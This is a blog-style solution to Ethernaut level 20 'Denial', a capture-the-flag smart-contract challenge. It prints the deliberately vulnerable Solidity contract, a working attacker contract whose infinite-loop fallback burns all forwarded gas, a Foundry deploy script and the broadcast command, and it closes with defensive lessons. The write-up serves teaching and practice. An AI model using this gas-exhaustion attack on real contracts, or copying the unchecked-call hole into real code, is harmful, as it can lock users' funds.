The Ethernaut CTF Solutions | 20 - Denial
A Loop of Denial: Burning Gas to Ensure a DoS and Prevent the Funds from being withdrawn

Search for a command to run...
A Loop of Denial: Burning Gas to Ensure a DoS and Prevent the Funds from being withdrawn

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
Discounted Deals: Exploiting Contract Logic with Interfaces for Better Prices
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

On this page
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
The goal of the Denial challenge is to prevent the owner from withdrawing funds using the withdraw() function. How to do that?
Let's take a look at the withdraw() function:
function withdraw() public {
uint amountToSend = address(this).balance / 100; // 1% of the contract's balance
partner.call{value:amountToSend}(""); // Send to partner using call
payable(owner).transfer(amountToSend); // Send to owner using transfer
// The rest is irrelevant to the solution, but note that the CEI isn't respected
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
There are 2 external calls here:
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
There isn't much we can do with the transfer to the owner. However, we know that the call function forwards all the remaining gas to the callee. Unfortunately, since the return value isn't checked, simply reverting upon receiving ether wouldn't work. So we have to find another way to break the withdraw function.
This can be achieved by using all the remaining gas within the fallback function. By doing so, the withdraw() function will never be able to complete its execution. In this case, a useless infinite loop will do the work beautifully:
fallback() external payable {
while (true) {}
}
Let's implement the solution accordingly:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IDenial {
function setWithdrawPartner(address _partner) external;
}
contract Stop {
IDenial idenial;
constructor(address _denial) {
idenial = IDenial(_denial);
}
function becomePartner() public {
idenial.setWithdrawPartner(address(this));
}
fallback() external payable {
while (true) {}
}
}
As well as the script to deploy the Stop contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import {Stop} from "../src/20_Denial.sol";
contract PoC is Script {
// Replace with your Denial instance
address private immutable denial =
0xA5aCd27F60246ebdA0dF9E55Dd78f394715747c4;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
Stop stop = new Stop(denial);
stop.becomePartner();
vm.stopBroadcast();
}
}
Then run the script with the following command:
forge script script/20_Denial.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Always check the return value of the call function.
A specific amount of gas can be specified when using the call function.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/